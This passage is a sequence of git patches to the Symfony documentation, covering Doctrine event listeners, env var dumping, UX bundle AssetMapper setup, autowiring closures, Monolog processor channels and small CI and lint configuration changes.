-    use Doctrine\ORM\Event\PostRemoveEventArgs;
-    use Doctrine\ORM\Event\PostUpdateEventArgs;
-    use Doctrine\ORM\Events;
 
-    class DatabaseActivitySubscriber implements EventSubscriberInterface
+    class SearchIndexer
     {
-        // this method can only return the event names; you cannot define a
-        // custom method name to execute when each event triggers
-        public function getSubscribedEvents(): array
-        {
-            return [
-                Events::postPersist,
-                Events::postRemove,
-                Events::postUpdate,
-            ];
-        }
-
-        // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type Post*EventArgs, which gives you access
-        // to both the entity object of the event and the entity manager itself
+        // the listener methods receive an argument which gives you access to
+        // both the entity object of the event and the entity manager itself
         public function postPersist(PostPersistEventArgs $args): void
         {
-            $this->logActivity('persist', $args->getObject());
-        }
-
-        public function postRemove(PostRemoveEventArgs $args): void
-        {
-            $this->logActivity('remove', $args->getObject());
-        }
-
-        public function postUpdate(PostUpdateEventArgs $args): void
-        {
-            $this->logActivity('update', $args->getObject());
-        }
+            $entity = $args->getObject();
 
-        private function logActivity(string $action, mixed $entity): void
-        {
-            // if this subscriber only applies to certain entity types,
+            // if this listener only applies to certain entity types,
             // add some code to check the entity type as early as possible
             if (!$entity instanceof Product) {
                 return;
             }
 
-            // ... get the entity information and log it somehow
+            $entityManager = $args->getObjectManager();
+            // ... do something with the Product entity
         }
     }
 
 .. note::
 
-    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
+    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
     to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
 
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
-work! Otherwise, :ref:`create a service <service-container-creating-service>` for this
-subscriber and :doc:`tag it </service_container/tags>` with ``doctrine.event_subscriber``.
+Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+a Doctrine listener in your application::
 
-If you need to configure some option of the subscriber (e.g. its priority or
-Doctrine connection to use) you must do that in the manual service configuration:
+        // src/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\ORM\Events;
+
+        #[AsDoctrineListener(event: Events::postPersist, priority: 500, connection: 'default')]
+        class SearchIndexer
+        {
+            // ...
+        }
+
+Alternatively, if you prefer to not use PHP attributes, you must enable the
+listener in the Symfony application by creating a new service for it and
+:doc:`tagging it </service_container/tags>` with the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\ORM\Event\PostPersistEventArgs;
+
+        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
+        class SearchIndexer
+        {
+            public function postPersist(PostPersistEventArgs $event): void
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
         services:
             # ...
 
-            App\EventListener\DatabaseActivitySubscriber:
+            App\EventListener\SearchIndexer:
                 tags:
-                    - name: 'doctrine.event_subscriber'
+                    -
+                        name: 'doctrine.event_listener'
+                        # this is the only required option for the lifecycle listener tag
+                        event: 'postPersist'
 
-                      # subscribers can define their priority in case multiple subscribers or listeners are associated
-                      # to the same event (default priority = 0; higher numbers = listener is run earlier)
-                      priority: 500
+                        # listeners can define their priority in case multiple subscribers or listeners are associated
+                        # to the same event (default priority = 0; higher numbers = listener is run earlier)
+                        priority: 500
 
-                      # you can also restrict listeners to a specific Doctrine connection
-                      connection: 'default'
+                        # you can also restrict listeners to a specific Doctrine connection
+                        connection: 'default'
 
     .. code-block:: xml
 
@@ -518,12 +351,16 @@ Doctrine connection to use) you must do that in the manual service configuration
                 <!-- ... -->
 
                 <!--
+                    * 'event' is the only required option that defines the lifecycle listener
                     * 'priority': used when multiple subscribers or listeners are associated to the same event
                     *             (default priority = 0; higher numbers = listener is run earlier)
                     * 'connection': restricts the listener to a specific Doctrine connection
                 -->
-                <service id="App\EventListener\DatabaseActivitySubscriber">
-                    <tag name="doctrine.event_subscriber" priority="500" connection="default"/>
+                <service id="App\EventListener\SearchIndexer">
+                    <tag name="doctrine.event_listener"
+                        event="postPersist"
+                        priority="500"
+                        connection="default"/>
                 </service>
             </services>
         </container>
@@ -533,28 +370,52 @@ Doctrine connection to use) you must do that in the manual service configuration
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\EventListener\DatabaseActivitySubscriber;
+        use App\EventListener\SearchIndexer;
 
         return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
-            $services->set(DatabaseActivitySubscriber::class)
-                ->tag('doctrine.event_subscriber'[
-                    // subscribers can define their priority in case multiple subscribers or listeners are associated
+            // listeners are applied by default to all Doctrine connections
+            $services->set(SearchIndexer::class)
+                ->tag('doctrine.event_listener', [
+                    // this is the only required option for the lifecycle listener tag
+                    'event' => 'postPersist',
+
+                    // listeners can define their priority in case multiple subscribers or listeners are associated
                     // to the same event (default priority = 0; higher numbers = listener is run earlier)
                     'priority' => 500,
 
-                    // you can also restrict listeners to a specific Doctrine connection
+                    # you can also restrict listeners to a specific Doctrine connection
                     'connection' => 'default',
                 ])
             ;
         };
 
+.. versionadded:: 2.7.2
+
+    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
+
 .. tip::
 
-    Symfony loads (and instantiates) Doctrine subscribers whenever the
-    application executes; whereas Doctrine listeners are only loaded when the
-    related event is actually fired, making them more performant.
+    Symfony loads (and instantiates) Doctrine listeners only when the related
+    Doctrine event is actually fired; whereas Doctrine subscribers are always
+    loaded (and instantiated) by Symfony, making them less performant.
+
+.. tip::
+
+    The value of the ``connection`` option can also be a
+    :ref:`configuration parameter <configuration-parameters>`.
+
+Doctrine Lifecycle Subscribers
+------------------------------
+
+.. deprecated:: 6.3
+
+    Lifecycle subscribers are deprecated starting from Symfony 6.3.
+
+This was another way of listening to events provided by Doctrine. However, they
+were deprecated in Symfony 6.3 and it's no longer recommended to use them.
+Instead, use any of the other alternatives shown above.
 
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events

From 448be856c26e5e372fc4f9cc5612cd9d7112313a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 12:07:51 +0200
Subject: [PATCH 3828/5766] Prioritize the dump-env Composer command

---
 configuration.rst | 48 ++++++++++++++++++++++++++++-------------------
 1 file changed, 29 insertions(+), 19 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 70dd76bca27..89a8e047e28 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -831,33 +831,43 @@ In production, the ``.env`` files are also parsed and loaded on each request. So
 the easiest way to define env vars is by creating a ``.env.local`` file on your
 production server(s) with your production values.
 
-To improve performance, you can optionally run the ``dotenv:dump`` command (available
-in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered
-by default, so you must register first in your services:
+To improve performance, you can optionally run the ``dump-env`` Composer command:
 
-.. code-block:: yaml
+.. code-block:: terminal
 
-    # config/services.yaml
-    services:
-        Symfony\Component\Dotenv\Command\DotenvDumpCommand:
-            - '%kernel.project_dir%/.env'
-            - '%kernel.environment%'
+    # parses ALL .env files and dumps their final values to .env.local.php
+    $ composer dump-env prod
 
-In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
-(which is the default):
+.. sidebar:: Dumping Environment Variables without Composer
 
-.. code-block:: yaml
+    If you don't have Composer installed in production, you can use the
+    ``dotenv:dump`` command instead (available in :ref:`Symfony Flex <symfony-flex>`
+    1.2 or later). The command is not registered by default, so you must register
+    first in your services:
 
-    # config/services.yaml
-    services:
-        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+    .. code-block:: yaml
 
-Then, run the command:
+        # config/services.yaml
+        services:
+            Symfony\Component\Dotenv\Command\DotenvDumpCommand:
+                - '%kernel.project_dir%/.env'
+                - '%kernel.environment%'
 
-.. code-block:: terminal
+    In PHP >= 8, you can remove the two arguments when autoconfiguration is enabled
+    (which is the default):
 
-    # parses ALL .env files and dumps their final values to .env.local.php
-    $ php bin/console dotenv:dump prod
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+
+    Then, run the command:
+
+    .. code-block:: terminal
+
+        # parses ALL .env files and dumps their final values to .env.local.php
+        $ php bin/console dotenv:dump prod
 
 After running this command, Symfony will load the ``.env.local.php`` file to
 get the environment variables and will not spend time parsing the ``.env`` files.

From e819aa62ad6d22c4809005b2b0d061c8c2cb306e Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 16 Aug 2023 15:18:03 +0200
Subject: [PATCH 3829/5766] [Frontend] Create a UX bundle: add requirements for
 Asset Mapper

---
 frontend/create_ux_bundle.rst | 76 +++++++++++++++++++++++++++++++++--
 1 file changed, 72 insertions(+), 4 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 12002d10356..7a32d4b9cd6 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -33,7 +33,8 @@ package.json file
 -----------------
 
 Your ``package.json`` file must contain a ``symfony`` config with controllers defined, and also add required packages
-to the ``peerDependencies``:
+to the ``peerDependencies`` and ``importmap`` (the list of packages in ``importmap`` should be the same as the ones
+in ``peerDependencies``):
 
 .. code-block:: json
 
@@ -51,6 +52,10 @@ to the ``peerDependencies``:
                         "dist/bootstrap5-theme.css": true
                     }
                 }
+            },
+            "importmap": {
+                "@hotwired/stimulus": "^3.0.0",
+                "slugify": "^1.6.5"
             }
         },
         "peerDependencies": {
@@ -87,11 +92,28 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
                }
            }
 
-    2. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+    2. Add the following to your ``babel.config.js`` file (should be located next to your ``package.json`` file):
 
-    3. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
+       .. code-block:: javascript
 
-    4. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+           module.exports = {
+               presets: [
+                   ['@babel/preset-env', {
+                       "loose": true,
+                       "modules": false
+                   }],
+                   ['@babel/preset-typescript', { allowDeclareFields: true }]
+               ],
+               assumptions: {
+                   superIsCallableConstructor: false,
+               },
+           };
+
+    3. Run either ``npm install`` or ``yarn install`` to install the new dependencies.
+
+    4. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
+
+    5. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
 
 To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
 
@@ -134,3 +156,49 @@ autoimport          List of files to be imported with the controller. Useful e.g
                     The value must be an object with files as keys, and a boolean as value for each file to set
                     whether the file should be imported.
 ==================  ====================================================================================================
+
+Specifics for Asset Mapper
+--------------------------
+
+To make your bundle's assets work with Asset Mapper, you must add the ``importmap`` config like above in your
+``package.json`` file, and prepend some configuration to the container::
+
+    namespace Acme\FeatureBundle;
+
+    use Symfony\Component\AssetMapper\AssetMapperInterface;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeFeatureBundle extends AbstractBundle
+    {
+        public function prependExtension(ContainerConfigurator $configurator, ContainerBuilder $container): void
+        {
+            if (!$this->isAssetMapperAvailable($container)) {
+                return;
+            }
+
+            $container->prependExtensionConfig('framework', [
+                'asset_mapper' => [
+                    'paths' => [
+                        __DIR__ . '/../assets/dist' => '@acme/feature-bundle',
+                    ],
+                ],
+            ]);
+        }
+
+        private function isAssetMapperAvailable(ContainerBuilder $container): bool
+        {
+            if (!interface_exists(AssetMapperInterface::class)) {
+                return false;
+            }
+
+            // check that FrameworkBundle 6.3 or higher is installed
+            $bundlesMetadata = $container->getParameter('kernel.bundles_metadata');
+            if (!isset($bundlesMetadata['FrameworkBundle'])) {
+                return false;
+            }
+
+            return is_file($bundlesMetadata['FrameworkBundle']['path'] . '/Resources/config/asset_mapper.php');
+        }
+    }

From ca42f519fc65bef18fae783cef9aaab38315517b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 17:10:30 +0200
Subject: [PATCH 3830/5766] Tweaks

---
 frontend/create_ux_bundle.rst | 25 ++++++++++++++-----------
 1 file changed, 14 insertions(+), 11 deletions(-)

diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst
index 7a32d4b9cd6..c48f3e2a66e 100644
--- a/frontend/create_ux_bundle.rst
+++ b/frontend/create_ux_bundle.rst
@@ -22,8 +22,8 @@ Your ``composer.json`` file must have the ``symfony-ux`` keyword:
 Assets location
 ---------------
 
-Your assets must be located in one of the following directories, with a ``package.json`` file so Flex can handle it
-during install/update:
+Your assets must be located in one of the following directories, with a
+``package.json`` file so Flex can handle it during install/update:
 
 * ``/assets`` (recommended)
 * ``/Resources/assets``
@@ -32,9 +32,9 @@ during install/update:
 package.json file
 -----------------
 
-Your ``package.json`` file must contain a ``symfony`` config with controllers defined, and also add required packages
-to the ``peerDependencies`` and ``importmap`` (the list of packages in ``importmap`` should be the same as the ones
-in ``peerDependencies``):
+Your ``package.json`` file must contain a ``symfony`` config with controllers defined,
+and also add required packages to the ``peerDependencies`` and ``importmap`` (the list
+of packages in ``importmap`` should be the same as the ones in ``peerDependencies``):
 
 .. code-block:: json
 
@@ -68,8 +68,8 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
 
 .. tip::
 
-    You can either write raw JS in this ``dist/controller.js`` file, or you can e.g. write your controller with
-    TypeScript and transpile it to JavaScript.
+    You can either write raw JS in this ``dist/controller.js`` file, or you can
+    e.g. write your controller with TypeScript and transpile it to JavaScript.
 
     Here is an example to do so:
 
@@ -92,7 +92,8 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
                }
            }
 
-    2. Add the following to your ``babel.config.js`` file (should be located next to your ``package.json`` file):
+    2. Add the following to your ``babel.config.js`` file (should be located next
+       to your ``package.json`` file):
 
        .. code-block:: javascript
 
@@ -113,7 +114,8 @@ In this case, the file located at ``[assets directory]/dist/controller.js`` will
 
     4. Write your Stimulus controller with TypeScript in ``src/controller.ts``.
 
-    5. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript controller into JavaScript.
+    5. Run ``npm run build`` or ``yarn run build`` to transpile your TypeScript
+       controller into JavaScript.
 
 To use your controller in a template (e.g. one defined in your bundle) you can use it like this:
 
@@ -160,8 +162,9 @@ autoimport          List of files to be imported with the controller. Useful e.g
 Specifics for Asset Mapper
 --------------------------
 
-To make your bundle's assets work with Asset Mapper, you must add the ``importmap`` config like above in your
-``package.json`` file, and prepend some configuration to the container::
+To make your bundle's assets work with AssetMapper, you must add the ``importmap``
+config like above in your ``package.json`` file, and prepend some configuration
+to the container::
 
     namespace Acme\FeatureBundle;
 

From 8e78f7445ec1bcc9807866518cdc2176591fd76f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 19 Sep 2023 17:12:19 +0200
Subject: [PATCH 3831/5766] Disable a DOCtor-RST rule for a specific file to
 fix CI

---
 .doctor-rst.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 28c04d5143f..f93b377248d 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -82,6 +82,8 @@ exclude_rule_for_file:
       rule_name: replacement
     - path: page_creation.rst
       rule_name: no_php_open_tag_in_code_block_php_directive
+    - path: frontend/create_ux_bundle.rst
+      rule_name: argument_variable_must_match_type
 
 # do not report as violation
 whitelist:

From 02188fb7469c264c097ed80a2c83b1debcec8c72 Mon Sep 17 00:00:00 2001
From: miqrogroove <1371835+miqrogroove@users.noreply.github.com>
Date: Tue, 19 Sep 2023 16:06:48 -0400
Subject: [PATCH 3832/5766] Clarify differences between attributes.

---
 service_container/autowiring.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 483a68c26e9..ef87d3670a6 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -658,7 +658,8 @@ Generate Closures With Autowiring
 ---------------------------------
 
 A **service closure** is an anonymous function that returns a service. This type
-of instanciation is handy when you are dealing with lazy-loading.
+of instanciation is handy when you are dealing with lazy-loading.  It is also
+useful for non-shared service dependencies.
 
 Automatically creating a closure encapsulating the service instanciation can be
 done with the
@@ -716,7 +717,9 @@ In this case, you can use the
 :class:`Symfony\Component\DependencyInjection\Attribute\\AutowireCallable` attribute
 to generate a closure with the same signature as a specific method of a service. When
 this closure is called, it will pass all its arguments to the underlying service
-function::
+function.  If the closure needs to be called more than once, the service instance
+is reused for repeated calls.  Unlike a service closure, this will not
+create extra instances of a non-shared service.
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -727,7 +730,7 @@ function::
     {
         public function __construct(
             #[AutowireCallable(service: 'third_party.remote_message_formatter', method: 'format')]
-            \Closure $formatCallable
+            private \Closure $formatCallable
         ) {
         }
 

From ff5cebd0c86b5ce5b42a262221e7f2ffe504e269 Mon Sep 17 00:00:00 2001
From: Felix Eymonot <felix.eymonot@gmail.com>
Date: Sun, 10 Sep 2023 22:15:01 +0200
Subject: [PATCH 3833/5766] docs(passwordType): add options related to UX
 TogglePassword

---
 reference/forms/types/password.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 44097ff6031..d9b0f4cf066 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -69,6 +69,13 @@ object.
             'mapped' => false,
         ]);
 
+``toggle``
+~~~~~~~~~~
+**type**: ``boolean`` **requires**: `symfony/ux-toggle-password`_
+
+Adds "Show"/"Hide" links to the field which toggle the password field to plaintext when clicked.
+See `symfony/ux-toggle-password`_ for more details.
+
 Overridden Options
 ------------------
 
@@ -122,3 +129,5 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/required.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`symfony/ux-toggle-password`: https://symfony.com/bundles/ux-toggle-password/current/index.html

From 0a15a43814c302d01f2feeacc6cb0ecdbbfa6bc0 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Sep 2023 09:44:53 +0200
Subject: [PATCH 3834/5766] [Configuration] `env()` parameters notation

---
 configuration.rst | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/configuration.rst b/configuration.rst
index 89a8e047e28..930d909f0c3 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -674,6 +674,53 @@ To define the value of an env var, you have several options:
 * :ref:`Encrypt the value as a secret <configuration-secrets>`;
 * Set the value as a real environment variable in your shell or your web server.
 
+It is possible to define an env var default value by defining a parameter with
+the same name. In the following example, we define a default value for the
+``SECRET`` env var if it has not been defined anywhere:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        parameters:
+            env(SECRET): 'some_secret'
+
+        # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <parameters>
+                <parameter key="env(SECRET)">some_secret</parameter>
+            </parameters>
+
+            <!-- ... -->
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            $container->setParameter('env(SECRET)', 'some_secret');
+
+            // ...
+        };
+
 .. tip::
 
     Some hosts - like Platform.sh - offer easy `utilities to manage env vars`_

From c0665ed776094f05d9cb5d7c6b20c06102670699 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 09:51:18 +0200
Subject: [PATCH 3835/5766] [Messenger] Remove an unneeded tip about Doctrine
 migrations and schema_filter

---
 messenger.rst | 30 ------------------------------
 1 file changed, 30 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7c980bacea1..7190f063c35 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1459,36 +1459,6 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. tip::
-
-    To avoid tools like Doctrine Migrations from trying to remove this table because
-    it's not part of your normal schema, you can set the ``schema_filter`` option:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/doctrine.yaml
-            doctrine:
-                dbal:
-                    schema_filter: '~^(?!messenger_messages)~'
-
-        .. code-block:: xml
-
-            <!-- config/packages/doctrine.xml -->
-            <doctrine:dbal schema-filter="~^(?!messenger_messages)~"/>
-
-        .. code-block:: php
-
-            # config/packages/doctrine.php
-            $container->loadFromExtension('doctrine', [
-                'dbal' => [
-                    'schema_filter'  => '~^(?!messenger_messages)~',
-                    // ...
-                ],
-                // ...
-            ]);
-
 .. caution::
 
     The datetime property of the messages stored in the database uses the

From 58311efdb79636ea38bac12f929c31af19d96c4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 12:39:53 +0200
Subject: [PATCH 3836/5766] Reword the contents about bundles' logical paths

---
 bundles/best_practices.rst | 14 +++++---------
 bundles/override.rst       |  8 --------
 components/http_kernel.rst | 24 +++++++++++-------------
 3 files changed, 16 insertions(+), 30 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 82aa3d9415b..26915bdea9b 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -537,16 +537,12 @@ Resources
 ---------
 
 If the bundle references any resources (config files, translation files, etc.),
-don't use physical paths (e.g. ``__DIR__/config/services.xml``) but logical
-paths (e.g. ``@AcmeBlogBundle/config/services.xml``).
+you can use physical paths (e.g. ``__DIR__/config/services.xml``).
 
-The logical paths are required because of the bundle overriding mechanism that
-lets you override any resource/file of any bundle. See :ref:`http-kernel-resource-locator`
-for more details about transforming physical paths into logical paths.
-
-Beware that templates use a simplified version of the logical path shown above.
-For example, an ``index.html.twig`` template located in the ``templates/Default/``
-directory of the AcmeBlogBundle, is referenced as ``@AcmeBlog/Default/index.html.twig``.
+In the past, we recommended to only use logical paths (e.g.
+``@AcmeBlogBundle/config/services.xml``) and resolve them with the
+:ref:`resource locator <http-kernel-resource-locator>` provided by the Symfony
+kernel, but this is no longer a recommended practice.
 
 Learn more
 ----------
diff --git a/bundles/override.rst b/bundles/override.rst
index a524780baa9..1e4926a1c76 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -5,14 +5,6 @@ When using a third-party bundle, you might want to customize or override some of
 its features. This document describes ways of overriding the most common
 features of a bundle.
 
-.. tip::
-
-    The bundle overriding mechanism means that you cannot use physical paths to
-    refer to bundle's resources (e.g. ``__DIR__/config/services.xml``). Always
-    use logical paths in your bundles (e.g. ``@FooBundle/Resources/config/services.xml``)
-    and call the :ref:`locateResource() method <http-kernel-resource-locator>`
-    to turn them into physical paths when needed.
-
 .. _override-templates:
 
 Templates
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9c8d01da8af..5900a0c0b87 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -715,19 +715,17 @@ Locating Resources
 ------------------
 
 The HttpKernel component is responsible of the bundle mechanism used in Symfony
-applications. The key feature of the bundles is that they allow to override any
-resource used by the application (config files, templates, controllers,
-translation files, etc.)
-
-This overriding mechanism works because resources are referenced not by their
-physical path but by their logical path. For example, the ``services.xml`` file
-stored in the ``Resources/config/`` directory of a bundle called FooBundle is
-referenced as ``@FooBundle/Resources/config/services.xml``. This logical path
-will work when the application overrides that file and even if you change the
-directory of FooBundle.
-
-The HttpKernel component provides a method called :method:`Symfony\\Component\\HttpKernel\\Kernel::locateResource`
-which can be used to transform logical paths into physical paths::
+applications. One of the key features of the bundles is that you can use logic
+paths instead of physical paths to refer to any of their resources (config files,
+templates, controllers, translation files, etc.)
+
+This allows to import resources even if you don't know where in the filesystem a
+bundle will be installed. For example, the ``services.xml`` file stored in the
+``Resources/config/`` directory of a bundle called FooBundle can be referenced as
+``@FooBundle/Resources/config/services.xml`` instead of ``__DIR__/Resources/config/services.xml``.
+
+This is possible thanks to the :method:`Symfony\\Component\\HttpKernel\\Kernel::locateResource`
+method provided by the kernel, which transforms logical paths into physical paths::
 
     $path = $kernel->locateResource('@FooBundle/Resources/config/services.xml');
 

From f52c7f54c893cf5e87258a820ade5d4962a597c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 20 Sep 2023 13:39:51 +0200
Subject: [PATCH 3837/5766] [Translation] Add --as-tree option to
 translation:pull command

---
 translation.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/translation.rst b/translation.rst
index 3d8bfb8a519..f465f8e7de1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -762,6 +762,15 @@ now use the following commands to push (upload) and pull (download) translations
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help
 
+    # the "--as-tree" option will write YAML messages as a tree-like structure instead
+    # of flat keys
+    $ php bin/console translation:pull loco --force --as-tree
+
+.. versionadded:: 6.4
+
+    The ``--as-tree`` option of the ``translation:pull`` command was introduced
+    in Symfony 6.4.
+
 .. _translation-locale:
 
 Handling the User's Locale

From d390ee3cc87d76d284ce39d70efe6f32c13be342 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 Sep 2023 10:50:08 +0200
Subject: [PATCH 3838/5766] [Monolog] Improve how processors are applied to
 single channels

---
 logging/processors.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index cbc039d992f..6954e9117c1 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -270,8 +270,8 @@ the ``monolog.processor`` tag:
 Registering Processors per Channel
 ----------------------------------
 
-You can register a processor per channel using the ``channel`` option of
-the ``monolog.processor`` tag:
+By default, processors are applied to all channels. Add the ``channel`` option
+to the ``monolog.processor`` tag to only apply a processor for the given channel:
 
 .. configuration-block::
 
@@ -281,7 +281,7 @@ the ``monolog.processor`` tag:
         services:
             App\Logger\SessionRequestProcessor:
                 tags:
-                    - { name: monolog.processor, channel: main }
+                    - { name: monolog.processor, channel: 'app' }
 
     .. code-block:: xml
 
@@ -297,7 +297,7 @@ the ``monolog.processor`` tag:
 
             <services>
                 <service id="App\Logger\SessionRequestProcessor">
-                    <tag name="monolog.processor" channel="main"/>
+                    <tag name="monolog.processor" channel="app"/>
                 </service>
             </services>
         </container>
@@ -309,7 +309,7 @@ the ``monolog.processor`` tag:
         // ...
         $container
             ->register(SessionRequestProcessor::class)
-            ->addTag('monolog.processor', ['channel' => 'main']);
+            ->addTag('monolog.processor', ['channel' => 'app']);
 
 .. _`Monolog`: https://github.com/Seldaek/monolog
 .. _`built-in Monolog processors`: https://github.com/Seldaek/monolog/tree/main/src/Monolog/Processor

From 29e7812d5eaab192456305c3a937c3610f38f8b6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 20 Sep 2023 16:04:16 +0200
Subject: [PATCH 3839/5766] Use Doctor RST 1.49.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 35125df61d6..dfb64c1ae8a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -36,6 +36,7 @@ rules:
     no_directive_after_shorthand: ~
     no_duplicate_use_statements: ~
     no_explicit_use_of_code_block_php: ~
+    no_footnotes: ~
     no_inheritdoc: ~
     no_merge_conflict: ~
     no_namespace_after_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 5364a72a526..44e17393aba 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.48.4
+                uses: docker://oskarstark/doctor-rst:1.49.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 41277a162fa2ae4672cfcf29f76916ba0b0905e1 Mon Sep 17 00:00:00 2001
